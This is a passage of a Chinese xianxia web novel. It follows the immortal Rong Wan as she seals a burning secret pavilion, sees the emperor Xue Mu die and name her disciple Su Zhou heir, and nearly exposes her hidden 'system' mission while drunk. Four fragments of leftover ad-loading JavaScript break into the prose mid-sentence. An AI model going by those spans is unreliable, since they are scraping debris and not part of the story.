“容姑娘……” “你主子是谁?”容晚音色极冷,她手下的杀招已凝,问:“你明明应该知道的,你知道我来过这儿的。” 容晚指尖的寸寸白光,缠绕上禁卫首领的脖颈、面容,隐秘灵阵被层层绞杀。 男子的脸一张张变幻,直到露出真容,几分落乌的气息,掩藏不住他身上,自灵元而出的磅礴灵气。 “你是上因中人。呵……这么复杂的灵阵,容皓亲设?他让你拦住我?”容晚指尖一点点用力。 “上、上仙。” 这一句,便是坦诚身份。 容晚松开他,径直往石道深处走,察觉到身后男子的气息,冷声道:“回去和容皓交不了差,他会杀了你吧。办不成事的小仙,哥哥都会杀掉的。” 她声音极淡,似乎在讨论今日吃什么膳食般平和有趣。 男子端方的脸上皆是惊惧,他眼睛眨了又眨。 “想活命,跟着我。”容晚淡淡道:“或者我现在杀了你,或者你回去被容皓杀掉。” 见男子百般挣扎,容晚说:“方才的传送密阵,其实是杀阵,挺不好挣脱的。” “所以您——” “所以我送走阿昼,自己留下。容皓的杀阵难闯,可这里……”容晚轻蔑笑道:“拦不住我。” 男子叹了口气,他道:“上仙……我叫九方。” “你是傀地九方家的啊!”容晚字字诛心道:“那容皓必然没想你活着,容氏的暗卫,他可舍不得杀。” 九方:“……” 九方跟上容晚,提醒道:“您应当快一些,这里是密阁下方的迷阵,首座怕是要走了。” 容晚眼眸一垂,她凌然出剑,剑光如霜如雪,横劈直刺,一时间,错综复杂的石道砖瓦崩碎炸裂,无数夜明珠化作糜粉,模糊视线。 九方默默庆幸,自己没有违逆她,留下一条小命。 银白色的阵印浮现在二人脚下,容晚透过莹白的、密织的数道细光形成的符文,她望见容皓提剑的身影。 瞬间,冷意自四肢百骸迸发,容晚险些站不稳。她惊恐不已,那日梅林,容皓困杀夙昼,她望见染血的雪堆时一样害怕。 “容皓!你最好不要逼我杀你!”容晚指尖结印,繁复的阵印一道道落下来。 数阵相杀,银白阵印霎时自破,光点迸溅。 又是时隔许多年,容皓望见容晚的模样,她素衣素装,不加装饰,比在上因界时穿得更加素净,偏偏又那样鲜活。好似她从来不属于上因一般。 银白的光点飞舞,容皓轻声唤道:“晚晚,好久不见啊。” “薛沐呢?”容晚飞身而上,她的目的不在于同容皓争斗。她从阵印突破,直落密阁深处,想来薛沐是在入口处。 容晚凝神去寻,却猛然被容皓的轻笑声打断。 极为淡然的笑声,交织着诡道符文冲入容晚灵识 “晚晚,一会儿……”容皓轻轻拥住她颤抖的身子,贴近她耳畔,呢喃道:“你肯定会恨哥哥的。” 容皓松开她,指尖落在她脸上,望着容晚淬着恨意的眼睛,自嘲道:“我不喜欢你这样看着我。” “那你自剜双目?” “呵——”容皓轻轻舔了下唇,点头说:“我舍不得。” 察觉到阵印下九方的气息,容皓声冷如冰:“就知道他拦不住你,可是我拦住了。” 容晚忍耐着脑中冲撞的诡道符文,她强行激活灵脉,一点点冲开…… 忽然,容皓轻轻笑道:“哥哥拦住你了。” 话落,莹白的火焰自容皓脚下生发,不过一念之间,火焰流淌成海,白色的火苗围绕整他们。 容皓在熊熊火海里侧过脸,他轻轻咬了下唇齿,说:“这火,好像没有从前……晚晚在仙祖洞府放得大。不过没关系,我们……还会再见的。” 周身压制陡然消失,容晚望着似有生命般的烈火,涌向一间又一间密室。 她带着九方冲出火海,赶在火海蔓延前,一处处灵阵,将其封印。 顺着缝隙溢出的白色火焰,一触碰道灵阵,便霎时退后。下一瞬,又涌上来…… 这里有浩如烟海的密辛,和一切罪恶的证据,但容皓显然毁得干干净净。 永不熄灭的火焰是他对人间界的惩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 罚。 真可笑。 容晚冷声向九方说:“时间不多了。你立刻去联系薛氏,准备封印密阁。” “是。”九方道:“那您一定尽快出来,密阁出口在……” “我知道。” 九方点点头,随即离去。 容晚四下里寻找薛沐,直到脑中最后一串诡道符文消失。 数道传音一齐涌入,容晚下意识朝一个方向奔去。 暗无天日的密室内,薛沐靠在墙角,宛如死人。他身上干干净净,毫无伤痕,偏偏就是毫无生气。 “上仙……咳咳……”薛沐断断续续道。 “我们先出去。”容晚扶起他,眼眸在密室四处一转,又问:“薛铎逃了?” 薛沐点点头,他欲再说话,猛然咳出一口血,喷溅在容晚身上。 “走!”容晚道:“你师父递过传音,他片刻便到,我们出去就有救了。” 薛沐微微一笑。 穿过数间密室,淌过白色火海,容晚拖着薛沐逃出来。 一将薛沐交到衡游手里,容晚立刻回身起阵,她沉声道:“即刻封印。” “不能封!”薛氏长老惊道:“此间密阁,人间界王室代代相守,一旦封死,人间界……” “嘭——” 薛书空从身旁薛氏弟子身上,夺过一把剑,猛地敲在这长老身上。见他晕过去,这才丢了剑,道:“该封!不必管他!” 一众人共封密阁时,容晚灵力不断,眸光落在薛沐身上,他的生机在一点点流逝。 衡游为他探查灵脉,神色越发凝重,他探了又探,忽然起身,背过薛沐,眼眶湿润,话落一滴泪。 容晚难以置信,她轻声问:“是薛铎快死了吗?” 衡游沉重地点头。 当年薛铎曾说过,他与薛沐共设“同生共死”一阵。容晚和衡游无能,从未解开。 这世间禁阵千千万,设阵高手千千万。也许是褚尽欢设阵压制薛沐,也可能是薛铎为求自保……谁都可能别有用心。 此阵究竟出自谁手,实在难以确定。他们只能密囚薛铎,以防万一。 “夙昼……”薛沐挣扎着去喊,正在封印密阁的夙昼。 “去吧。”容晚道:“阵印将成,不碍事。” “我在。”夙昼望向薛沐失去血色的脸,声音哽咽道:“我有一事告诉你……” “我要先说。”薛沐猛然咳嗽道。 “好,你先说。”夙昼眸中泪意显现,他蹲于薛沐身前,源源不断地替他输送灵力。 “我死后……你来做人间界的君王……”薛沐气若游丝,继续说:“等你登基了,要给我修一个大大的陵寝……” 众人俱是一惊。 夙昼下意识地摇头。 薛书空正欲反驳,便见薛沐抬手要他过去,只听薛沐说:“叔父,他是薛辞……他是真正的薛辞!” 薛书空大惊:“什么?” 与此同时,封印密阁的阵印已成,数位长老团团围住薛沐,只见薛沐拉住夙昼的手,说:“这是朕的口传遗诏……太子薛辞尚存于世,传位于他。” 薛沐猛然咳出血。 而人群之后的容晚亦是一口血喷出来,她硬生生地咽下去。 指尖成契的白光骤然发亮,一灭一亮…… 她违契了。 44. 一步恩仇 “我以一指,同汝成契。薛沐若死,我无时日。薛氏江山,竭力以护。” 当年清和殿里,先王终前,容晚一字一句同薛弃闲允诺。 如今…… 随着声声咳嗽,薛沐唇齿间的血沫喷溢。明黄绣线的龙袍染血,他拽下腰间的双龙玉佩,塞给夙昼。 夙昼下意识回绝,一抬眸,隔着重重人群,望见面色冷白的容晚,往日薄红的唇瓣此刻殷红如血,唇齿抿合,似是在极力吞咽些什么。 “夙昼……”薛沐轻咳着说:“你答应我……” 他蓦然合上眸,双龙佩随手而落。 “陛下!”薛书空痛呼道。 “还活着呢,哭太早了。”衡游扶起薛沐,正欲抬他,却见夙昼俯身背起薛沐,说:“师叔啊,您照看我师父。” 衡游霎时抬头,见容晚清清冷冷地站在那,神色如常,身姿照旧,如上因天上的一弯皎月,清冷高洁。 “她怎么了?”衡游手下动作极快,封好薛沐的灵脉,说:“带他回夙州小院,那里结界重重,最为安全。” 他朝容晚走来,关切道:“受伤了?” 夙昼深深地望了眼容晚,只听她说:“阿昼,你们乘墨麒先走,我随后就来。这里的封印还未收尾。” 容晚指尖一动,墨麒自灵境里奔出,咬着夙昼的衣角往外拖。 “一起。”夙昼坚持道。 “阿昼,听话。”容晚轻轻摇头,扔给墨麒一个眼神,墨麒随即化风,带着两人离去。 “容晚,这里结界不是封好了吗?你还要再封一道?”衡游一面说,一面去探容晚的灵脉,下一瞬,神色大变。 “容晚?”衡游声线颤抖着问:“你在强撑什么啊?” 衡游强行截停容晚体内的灵力脉冲,扶着她摇摇欲坠的身形。 强撑已久的容晚往前一倒—— 衡游眼疾手快地扶住她,容晚已近晕迷,她恍惚间听见薛书空说:“姑娘同先王有契。” 衡游承担着容晚的全部重量,他虚虚揽着她问:“什么契约?我怎么不知道?”忽然灵光一闪,衡游抬起容晚掩在广袖下的手,道:“以指成契?容晚,你有病?” “……” - 容晚虚虚地抬起眼帘,望见浅灰色的窗幔,她抬了下手,便觉指尖一阵刺痛。 “师父……”夙昼忙递过一盏温茶,喂她一口口喝下。 浅尝一口后,容晚想放开灵识,却只觉被无形的灵阵阻碍。 “我怎么回事?”容晚侧过脸,问正垂眸不语的夙昼。 “师父,衡游上仙说,您好好休息一段时日吧。”夙昼扶她坐起,将细密绒毛的织毯拉到她身前。 “薛沐是不是……”容晚声音清浅,她不想思考最坏的结局,但冥冥之中,她醒来没有看见衡游,想必事情麻烦许多。 “师父……”夙昼声音里满满遗憾,他死命咬住唇,好半响才继续说道:“我告诉他了,我说是我刺杀太子薛辞,但我不想说对不起。师父,我是不是很不好啊?” “不是你们的错。”容晚轻声说:“你杀薛辞报仇无错,薛沐也没有错。” 夙昼垂着眼眸,长睫在阳光下投下一片细密的阴影,叫人看不清眸色。 他无意识地攥紧掌心,说:“薛沐居然什么都没说,他躺在寒玉床上,明明那里不见天光,我却能看见他眼睛里全是惊吓,他想张口说话,可他最后什么也没说。” 容晚不愿眸中眼泪落下,她合上眼,只能望见眼前一片通红,好半响,才问:“那我为什么还——” 薛沐已死,那我为什么还活着? 容晚终究是什么也没问。 夙昼伏在她膝前,眼角的泪珠一颗颗落在容晚手背上。 容晚起身轻轻环住他,轻拍他的脊背,声音缓而柔和,“他可以恨你,但他没有。” “为什么?” “他不知道要不要恨你?因为你没做错什么。但你确实杀了从前的靖安太子薛辞。” 夙昼和薛沐在互不知情血案真相时,称兄道弟,相伴数年。 阴差阳错时,夙昼杀人报仇雪恨,却得知挚友身份。 后来种种,他们互相歉疚,却也从不后悔过往所为。 不得不报的冤仇,无法割断的血缘和名姓。就这样,他们注定站在对立面。 但容晚不懂,为什么薛沐什么都不曾说。 哪怕太子薛辞是假,却同薛沐一起长大,读书、习剑、饮羹、玩乐……他有充分的理由在最后一刻去恨夙昼。 但他只是茫然地望向不见五指的黑暗,直至慢慢失去视觉、知觉。 “阿昼,至少他嘱托你的事,你要做到,对不对?” 容晚感受着怀中夙昼的颤抖,他的泪珠落在她如雪的脖颈上,一滴、一滴,是青年心中症结,是他身负仇恨,内心绝境处的挣扎。 “可我不是薛辞啊……” 容晚指尖轻抚他的发丝,道:“相信我吗?” 夙昼茫然地抬眸。他眼睫上挂着的泪滴,在日光薄雾里闪着细碎的光。 “那么……我说你是薛辞,你便是太子薛辞。” “可——即位之时,当以血缘验天命,我如何能服众?”夙昼说:“我只有一道薛沐的口传遗诏和双龙佩为证。薛铎必定已死……” 夙昼摇了摇头,似乎想把薛沐的身影从眼前晃散,可他就站在眼前。 “褚尽欢若想扶持薛氏旁系子弟,他们每一个都比我血缘更近。” “那又如何?”容晚淡淡道:“相信我,只是相信我。” 天光渐暗时,衡游同落日霞光一同踏进四方小院。他脚步匆匆,一入门,便提着夙昼的衣襟让他一边去。 “喝掉。”衡游气还不曾喘匀,急忙道。 一只瓷白的小瓶塞进容晚手里。 容晚不明所以,正欲开口,衡游飞速地在她额前一敲,催促说:“快喝!不然死了。” 容晚打开小瓶,一股奇异近乎铁锈般的气味传来,瓶内的液体一片乌黑,泛着浅浅的白光。 容晚毫不疑惑,将小瓶递到唇边。 “是什么?”夙昼猛然攥住容晚的手腕,一双狼眼盯着衡游,透露出几分不信任。 “阿昼。”容晚无奈地喊了一声,一口饮尽这瓶诡异的液体。 “起开。”衡游扯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开夙昼,抬起指尖在空中晃了晃。 容晚挣开夙昼,递过自己的手腕。 “嗯……很好,有救。”衡游终是像松了一口气般,全身绷紧的感觉消散大半。 “有救?”夙昼极其敏锐,问:“我师父怎么了?” 容晚避过夙昼的视线,侧过脸去拿案上的温茶,眼神轻轻晃了晃。 衡游心领神会,语义却有些微微讽刺,道:“你现在相信我了?哼——” 夙昼俯身示礼,道:“阿昼失言。” 衡游不再逗他,据实相告:“她在人间界连封数道大阵,又在容皓的白诡火流窜许久,一路护着薛沐带他出来,自然会受伤。” “多谢师叔。”夙昼再次俯身深深一拜。 “你谢我有什么用?你师父谢我才有用。”衡游笑道。他的笑意像是冷冰缝内流出的一道水痕,一纵即逝。 他忽然道:“薛沐即死,薛铎必死。褚尽欢似乎扶持了薛氏的旁系子弟薛容登位。” “他们辩争的地方是阿昼并非薛氏血脉,对不对?”容晚问。 “是。”衡游又道:“但薛书空一门,仍是请你举荐、立新君。薛沐的口传遗诏公布于天下,只是两党相争各有对立,实在胜负难分。” “这有什么?不怕他。”容晚推开身旁的窗扇,她望见院内的无花果树仍是冰冻着,不见春日生机,心中惆怅,哀叹了一声。 夜幕将歇时,容晚周身灵力恢复,她独身去了一趟寒□□。上因雪域深处,地下三千尺有余。 这里寒冰为墙,冷玉为床。入目只见幽远的黑暗,压抑到人不能呼吸。 容晚透过灵识,望见寒玉床上那道黑衣墨衫的身影。 薛沐安静地躺在这里,他还未曾葬入人间界皇陵。 他死前,要夙昼为他修一座大大的陵寝,如今夙昼不曾即位,薛沐的尸身,至少要在这里安息一段时间。 容晚第一次见到薛沐,是三十年前了。他文文静静地跟在薛铎身后,少言少语。 后来在明氏十年,她给夙昼寄送礼物时,总会暗中捎给薛沐一份大礼,拜托他多多照顾朋友不多的夙昼。 从偶尔教他习剑,到扶持他问鼎人间界。容晚看见他从阳光肆意的少年,变成黄袍加身、少有言笑的帝王。 不过十二年。 “我答应你父王的事,有半件不曾做到。没能护住你的性命,我有愧。” 容晚走至薛沐身前,她抬起他的手腕,指尖碰上他的指尖,微弱的半道白光亮过一瞬。 “我已违半契,却活下来了。真不知道衡游怎么做到的。”容晚淡淡说:“那瓶鬼东西很难喝。” 容晚站在他身前许久,允诺道:“我会竭尽所能守护薛氏江山,我会守好钟尽一的身世,会像你所希望的那样,扶持阿昼。” 容晚的圆润的指甲轻轻刺入薛沐的灵脉,片刻后,白光一闪,薛沐腕间一寸伤痕也不曾留下。 容晚望向指尖,那里有两种不同的灵脉血迹,容晚同薛沐告别,说:“明日,阿昼勘验天命,我已做好两全的准备,却还是想赌一把——阿昼身上有薛氏血脉。” 如此,他便是名正言顺。 45. 一步恩仇 夜色未明,无风起时。 容晚抬手去推开四方小院的门,察觉到院中无人时,她蓦然停住手,绕过长长的巷道,穿走在冰天雪地的夙州城中。 行至凝冰落雪的紫藤花树下,昔年巨石依然在。从前在人间界,容晚总是在晴日里仰靠石前,手边是一壶温酒,不晴剑藏于鞘中,靠在她手边。 夙昼不在这里。 容晚站在树下,往南方望去的第一所宅院,是从前的夙府。 高门大户,牌匾坠落在地,其上刀痕、碎纹无数。府内府外,凡是落雪未至处,冰层之下是暗红的血迹。 顺着地面上新鲜的雪痕往前,容晚望见几处小小的坟包,以冰雪和泥土堆成。 沿着脚印一直往前,容晚想起从前夙府中人声喧闹,年年夙府小公子的生辰宴,八方来贺。 如今只是一片死寂。 寂静、沉默地能听见雪落风止的声音。 隐约传来细微的啜泣声,容晚寻着声音,一路寻至夙家宗祠。 摇晃的满地烛火中,望见一个长而痩的背影。他一支一支地点燃烛火,搁下捧着的烛火。 又拿起覆盖着轻微冰层的牌位,细细擦拭后,夙昼搁下牌位,跪在父母灵位前,俯身磕头,一个、一个、再一个…… 久久不停,夙昼呼吸狂乱,额头抵着冰冷的地面,试图让冷意浇灭他血液里狂奔的愤恨。 “父亲,母亲。”夙昼倾身长跪着,说:“孩儿不孝,家恨血仇……”他声音哽咽住。 “阿昼。”容晚唤他。 夙昼闻声回头,眸中晶亮的泪光未散,唇边却是不自觉的笑意,这笑极淡、看起来却是苦的,又苦又涩。 “师父,我……”夙昼眼眸一闭,泪光黯淡,他拭去眼角的泪滴,说:“我迟早会杀尽该杀之人,师父……对不起啊。” “为什么这么说?” 夙昼仍是跪着,容晚站在他身侧,指尖轻拍他的肩膀,猜测夙昼话中意味,说:“你想要杀容皓,但是在顾及我。因为我隶属上因,同容皓有数千年的兄妹情分。阿昼,你要杀他,我不拦你,不帮他,只是如此。” 夙昼说:“师父,足够了。”他不知想起什么,垂眸顿了一瞬,问:“那褚尽欢呢?” 容晚轻笑,转而便是声音极冷的呵斥,问:“你想要杀褚尽欢,却还是在顾及我,因为我曾同他五指成契,我的条件是他放过你,而他的条件至今不明,是不是?” 容晚掐起夙昼的下巴,让他能一览无余望进她的眼眸,问:“为什么顾及我?” “我……” “若是我不同意,你的家仇血恨便不报了吗?” “不会,您同我站在一起的……” “若是不呢?若是我放弃你呢?”容晚冷冷地问他,夙昼此时未曾隐匿真容,是那张深邃、俊丽的陌生脸庞。 “您不会。” 她望不透他眼中的欲色,只是软了声线问:“你所欲所求,绝不该是我同你站在一起。” “为什么?”夙昼急切地追问道。 “也许我会放弃你呢?” 也许任务完成,容晚回家的那一日,就是放弃夙昼的那一日。容晚从来是说出自己想说的话,不想说的全都瞒下来。 “阿昼。”容晚松开他,微微一俯身,膝盖触碰到冰凉的地面,她半跪在他身侧,说:“我有朝一日真的会放弃你,所以……你不要顾及我。” “为什么啊?”夙昼眸色一红,他抓住她,死命地抓住她的手,问:“师父,为什么?” 我想回家啊。 我想回家。 容晚心中情绪翻涌,却是神色如常,她挣开夙昼的手,说:“因为……我有最重要的事要做,就像你最重要的事是复仇,不是吗?” “哈哈……”夙昼低低地笑出声,声音弱得似乎能被风吹散。 “是啊,我的事怎么会是师父最重要的事呢?”夙昼忽然站起身,身形微晃,往宗祠外走,无声喃喃道:“可是,师父您是我最重要的人。” 他的声音极轻,比烛火跳动燃烧声还要细微。容晚险些听不到。 话落,容晚猛然回头,望见他一步一步往门外走,他踏过满地残雪,手中化剑,剑气铮铮。 “阿昼!”容晚追出去。 夙昼一听见她的声音,呆然站在原地,他几番抬脚,终是落在原地。 “阿昼,我不想骗你。” 容晚不明白她为什么会追出来解释,她只是执拗地拦在他身前,同他道歉:“我……阿昼,对不起,但是我不想撒谎。” “可是您说过,你会陪着我啊!陪着我……”夙昼侧过脸,垂眸望向容晚,她眸中的急切让他更加不喜,自嘲说:“您不是已经撒谎了吗?” “我……”容晚一时失言。 夙昼步步紧逼,问:“您方才说,说什么来着?”他似乎彻底撕下过往所有温顺的伪装,彻底露出那副似要吃人的眼神,冲她亮出獠牙:“您说,您有朝一日会放弃我的。” “这两句,很矛盾。哪一句是真的呢?” “都是。” “都是?”夙昼比容晚高上半头,他微微俯身握住她的肩膀,问:“怎么能都是呢?总要有一句是假的,不是吗?” “我曾经说,我在一日,便陪着阿昼一日。”容晚细微地皱着眉心,想挣开他,可望见他眼中的血色,轻声软语道:“是真的。今日,我所说……也是真的。” “是啊……您在一日……”夙昼猛然惊醒,过往细碎不成线索的细节一齐涌入脑海,他小心翼翼地问:“您在一日?你是说……” 他忽然笑了一笑,下一瞬,满目忧惧地望向容晚,轻声问:“为什么是您在一日?难道您……” 他不敢想,不敢去想究竟是为什么。 “你记得,我在一日,便陪着你一日。除此之外,什么也不要问我。”容晚抬手,力道极轻,却一下扶开夙昼的手,她回身往外走。 青年的身影同风声一起冲向她。 他半跪在她身后,拥住她问:“师父,您别放弃我。” 容晚身形一僵,没再说话。 欲成大事者,不当有软肋。 “松手。”容晚冷声道。 “师父,我……”夙昼张了张口,吞下心中所有的悸动,缓缓收回手,松开了容晚。 他站在他身侧,说:“我知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道了。” “知道什么?” “您今夜所说。”夙昼细细打量她的神色,说:“还有,您说‘您在一日,便陪着我一日’,那就有一日,是一日。等那一日到了,我总能续上几日……” 容晚闭了闭眼眸,“住口。” 任是再容晚迟钝,她也不是傻子。夙昼太过依赖自己,不是好事。 她下意识地走快两步,望见天边将亮的霞光,说:“明日、应该是今日了。祭台之上,以血验阵,勘验天命,咬死你是太子薛辞。” “知道了。”夙昼垂下眼眸。 “回去?”容晚问。 “我想陪陪父亲母亲。” “好。” 容晚不再等他,身形一幻,经过紫藤花树时,她心念一动,飘然落下来。 好想喝酒。 容晚靠在那块树下山石上,自灵境中摸出一壶冷酒,凉得指尖有些拿不住。抬手一幻,灵火炉上,几壶琉璃玉壶挤在一起,温和灵火下,终是不再冰手。 一壶温酒入口,容晚微眯着眸,望向头顶随着风声簌簌而响的紫藤花树,浅声道:“阿昼在父母身旁,那我什么时候能回家?” 往日里,容晚总是同衡游畅饮,百年前,偶尔同和容皓小酌几杯。如今衡游送来那瓶难喝的鬼东西,便不见踪影,只留了一道传音,说回家见妻。 真好,衡游也回家了。 容晚眼中渐渐盈满一层雾气,她一壶又一壶地喝下去。 天光微微发白,容晚脚下堆了满地琉璃玉瓶,各色各形,她似乎快喝光灵境中所有的酒。 起先容晚还一壶壶搁在灵火上温了再喝,后面醉意上来,她不再用杯盏,一壶壶对瓶而饮。 眼前忽然浮现出落落涧的朗朗夏日,她真正的家里四季有时,夏日最是长久,接天莲叶一望无边,她总是躲在荷下水中醉酒浅睡。 此时,她真正的兄长容朝,似乎在唤她午睡醒来。容朝为人温朗,如旭日朝阳,他总是溺爱她,替她受罚、替她求情,陪着她做所有自己想做的事。 容晚唇边漾起浅浅的笑意,她无意识下,酒盏险些脱手,不知怎么的,被人递到手心。 她启唇灌下一大口冷酒,冷意激得她灵识清明一分,只觉兄长的身影晃了晃,险些消失,下意识喊道:“哥哥!别离开我!” 壶中的残酒被她饮尽,容晚去摸酒壶,指尖碰到冷而软的触感,她想收手,却被对方攥紧了。 “谁?” “我哥哥啊。” “容皓吗?” “嗯?”容晚醉意已深,眼神迷离地去望眼前人,只能望见容朝在她眼前。 她真正的哥哥才不是容皓,容皓一点儿都不好。 容晚下意识回握着对方的手,她几乎像他扑去,她想扑去她的哥哥怀里,呢喃说:“哥哥,我好想回家啊……” 对方似乎轻轻地笑了声,他接住朝他扑来的容晚,轻轻扶住她的脊背。 “就算是这样,就算您只念着容皓,就算会放弃我……” 他抚上她微红的脸,拥紧她,“可我还是喜欢您。” “谁?”容晚轻轻抬眸,似要看清眼前的身影。 46. 一步恩仇 “师父醉酒了,对不对?” “阿……昼吗?”容晚无意识地呢喃一声。 夙昼神色一慌,掌心划过容晚脊背,改为扶住她,见她未醒,尖而瘦的下巴抵在容晚肩上。 他伸手去插她的指缝,反手扣住她的掌心。容晚的手细长消瘦,常年握剑却不见薄茧。 “师父?”夙昼语调很轻,小心翼翼地斟酌往复。 夙昼翻来覆去地把玩她的手,心满意足地笑出声。 待夙昼玩够了,他俯身抱起容晚。 容晚缩在他怀里,浅彩色的衣裙层层叠叠堆在一起,不显臃肿,只见飘逸洒脱。 素手落在空中,指尖勾着一只琉璃玉壶。 “哥哥,我还想饮酒……”容晚攥住夙昼的衣襟,呢喃说:“我不喜欢这里,不喜欢他们……我想回家……” “师父,也不喜欢我吗?” 夙昼垂眸看向怀中的女子,她眉目微皱,不知梦见了什么,眼角的泪一滴、一滴滑落。 “阿昼?夙昼吗?”容晚摇摇头,说:“我不喜欢他。” “为什么?” “都是因为他啊,我才不能回家。不喜欢……” 我吗? 夙昼苦笑,咽下心中疑惑,将她抱得更稳,一步步走在长长的巷道里。 这里的路他太过熟悉,眼前的交错口,往南是他的家,往北是容晚的四方小院。 夙昼抬眸,此间布满层层阵印的夙州不是她的家。她的家在上因界、望春山。 她口中所唤的哥哥是容皓,那个三界中唯一同她血脉相连的人。 “因为我,师父才不能回家吗?” “是……好像又不是。” “师父想回上因吗?” “不要。” “师父,那你的家在哪儿啊?” “我家?”容晚忽然睁开眼睛,她从夙昼怀中挣出来,摇摇晃晃地往前走。 “哎……”夙昼无奈地笑笑,跟在她身后。 “我家——在、落、落、涧。”容晚不想让他扶,偏偏每一步要摔倒了,又能站稳。 “落落涧?”夙昼调用灵识,迅速地浏览过三界疆域图,无奈问:“哪里有这个地方,师父骗我?” 容晚眉头一拧,回身指着夙昼,指尖戳上他的额间,“你说我撒谎?” “我没有。” “你不可能知道的。”容晚忽然凑过来,唇轻轻凑在他耳畔,说:“因为我要完成任务,才能回家。” “什么任务?”夙昼见她说得认真,侧过脸细听。下一瞬,脸颊擦过她的唇,夙昼往后一退,笑问:“师父的家难不成不在这里?” 这一问,皆是玩笑的语气,他不过是随口一问。 哪成想容晚蓦然停住脚步,颇为认真地问:“你怎么知道?” 她面上微红,似是染了云霞,醉态甚是可爱。若是不相熟的人见了,只觉她欢脱,并不见醉意。 “你怎么会知道?我没告诉过你。”容晚又是一问,她几乎凑在夙昼身上。 “您……”夙昼脸色一黑,声音倏然冷下来,语气里夹杂着不自知的偏执,问:“您不在这里的家,要怎么回去啊?” “回去?” 容晚酒量甚好,酒后少有话多的时候,偏偏这次喝得太多,连设防、慎言都忘在一边。 “哥哥,你真笨。”容晚记忆中的容朝,光风霁月,仙气飘飘,背书、课业、习剑统统比她用功。现在怎么会这么笨? 容晚努力地睁眼,只望见容朝那张大脸在她眼前晃来晃去。 “那就算我也笨好了。”夙昼攥住她的手腕,牵着她往四方小院走,“不像您,一醉酒,便和从前好不一样。” “哪里不一样?” 容晚被他按坐在软塌上时,还在喋喋不休地问。 夙昼沉默许久,忽然出声问:“那您怎么才能回家?” 容晚捧着手中的热茶,小口小口地喝。喝完,她狡黠地抬起眼睛,同他讲道理,“我先问的。” “您回答了,我就回答。” “你耍赖。” “我不会。” “……” “好吧,我告诉你。”容晚搁下茶盏,坐得很直。 夙昼望向她几近清明的眼睛,有些慌乱,他抠着掌心,只想赌一把。他实在是……太想知道这个答案了。 如果她所说是酒后真言,那他会不惜一切代价,帮她回家。 “回家要等啊……我已经等了很久很久……等你长大……等到容皓死了……”容晚一下下掰着手指,“等到褚尽欢死了……等到阿昼也……” 夙昼心跳如惊雷,手中拎着的茶盏一洒,烫得他满手痛红。 “再等到……夙昼走向他注定的结局去,我就可以回家了。” 下一瞬—— 【警报:系统作出第八次违规通报,剩余两次】 “什么结局?” 与此同时,夙昼迫切地问。 他话音刚落,只见容晚眸色陡然清明,她轻轻吐出气息,搁下茶盏,沉思许久,才抬眸望向夙昼。 这一道警告声惊散容晚的醉意,她却什么也未曾想起。 恍惚只记得梦里落落涧的四季,哥哥容朝的笑意,家里那一个个平静、美好却安逸得有些无聊的日子。 那样漫长的一段梦…… “阿昼。”容晚审视着夙昼面上的慌乱,问:“你带我回来的?” “是。”夙昼藏下所有阴郁的神色,几次扬唇,直到扯出笑意。 “我醉酒了?”容晚微微皱着眉。 “是。” “我自己走回来的?” “是。”夙昼这一声应得属实不太清白,他攥紧指尖,声音平稳,“我扶了您一段路。” 既是醒着,想必醉意中也说了些胡话。 容晚又问:“我记得我说了些胡话。” “是。您说仙门首座会死。”夙昼隐瞒住不想说那些。 “还有吗?” “没有了,师父酒品很好。”夙昼微微笑道。 想必系统的警报便是这一句话。 如同昔日她告诉褚尽欢必死的结局,也得到一次警报。 容晚望向天边微亮的朝光。 院中的无花果树因当年冰封,永远的枝繁叶茂,永远裹着一层细碎的冰晶,在光雾里泛着细碎的闪光。 “阿昼,时辰到了。”容晚执起他的手,牵着他一步步往人间界去,“你会成为人间界新的王。” 夙昼张张唇,眼神飘忽间,默默回握住她的手,“我答应。” “为什么是我答应?” “因为……您想我做的事,我总是会答应的。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他居然这样答。 容晚眼眸微微垂下来,自己想必是说漏嘴了吧。至于说漏了什么,看他反应不是什么大事。 两人一路未歇,一入王城,便被金甲禁卫团团围住。 “陛下有令!截杀容晚!” 容晚不曾慌乱,手中剑凌然一挥,冲出一个破口,一手执剑,一手牵着夙昼。 她周身是浅浅的白光,无数阵印符文随风而动。 “截杀?你们大可以试试。” 容晚剑也不曾抬,一步步往前走。 利刃向他们砍来,通通被阵印挡回去。 长阶尽处,容晚遥遥望见一片刺目的鲜红,“那是谁?” 她隔空抓住一人,“那是谁?” “薛……书空。” 容晚攥紧剑柄,闭了闭眸,再睁眼,无上剑光落下来,一众禁卫骤然倒地。 她缓缓地环视四周,“看来今日,在场的全是落乌界中人了?” “薛家主。”容晚厉声道。 话落,墙柱后藏身的老头探出身子,无奈地叹了声。 “连为薛老拾灵敛身都不敢么!” 容晚一声怒喝,薛家主盯着褚尽欢的目光,为薛书空合上眼眸。 确认他们已然离去,容晚抬眸的第一眼便望见他。 那个一袭龙袍的小孩儿怯懦地站在高处,他拼命想往后缩,却被人按住后颈动弹不得。 “别动,再动打断你的腿。”褚尽欢身披墨色大氅,对这小孩儿颇为不耐烦,对着容晚,却是多了几分耐性,缓缓道:“容晚,许久不见。” “古有挟天子以令诸侯,今有堂堂落乌君首强抓六岁幼童,真是……好不要脸。” 褚尽欢眸色一暗,“自是不如上仙光明磊落。” 容晚侧过脸,望向身旁久不言语的夙昼,传音道:“我去抢天命锁,你抢那小孩儿。” 话落,容晚身形一幻—— 褚尽欢躲过破风而来的剑刃,随手将那小孩儿一推,抓住她的手臂问:“上仙找我打架,要不要换个地方?小心这王城成了断壁残垣。” “好啊。”容晚后退半步,夙昼已然将那小孩儿护在身后。 容晚抬手一扔—— 天命锁悬于空中,金光符文转动,流光溢彩。 褚尽欢摸向怀中,原先的天命锁空空如也,失笑道:“你果然是,另有所谋。” “听说君首笃定,这小孩儿是天命中人?”容晚打量着小孩的容貌,淡淡道:“薛弃闲一脉三子,薛沐早逝无子,这小孩儿倒也名正言顺。可惜——有人比他要名正言顺。” 褚尽欢长眉略微一挑,算是有耐心听她说下去。 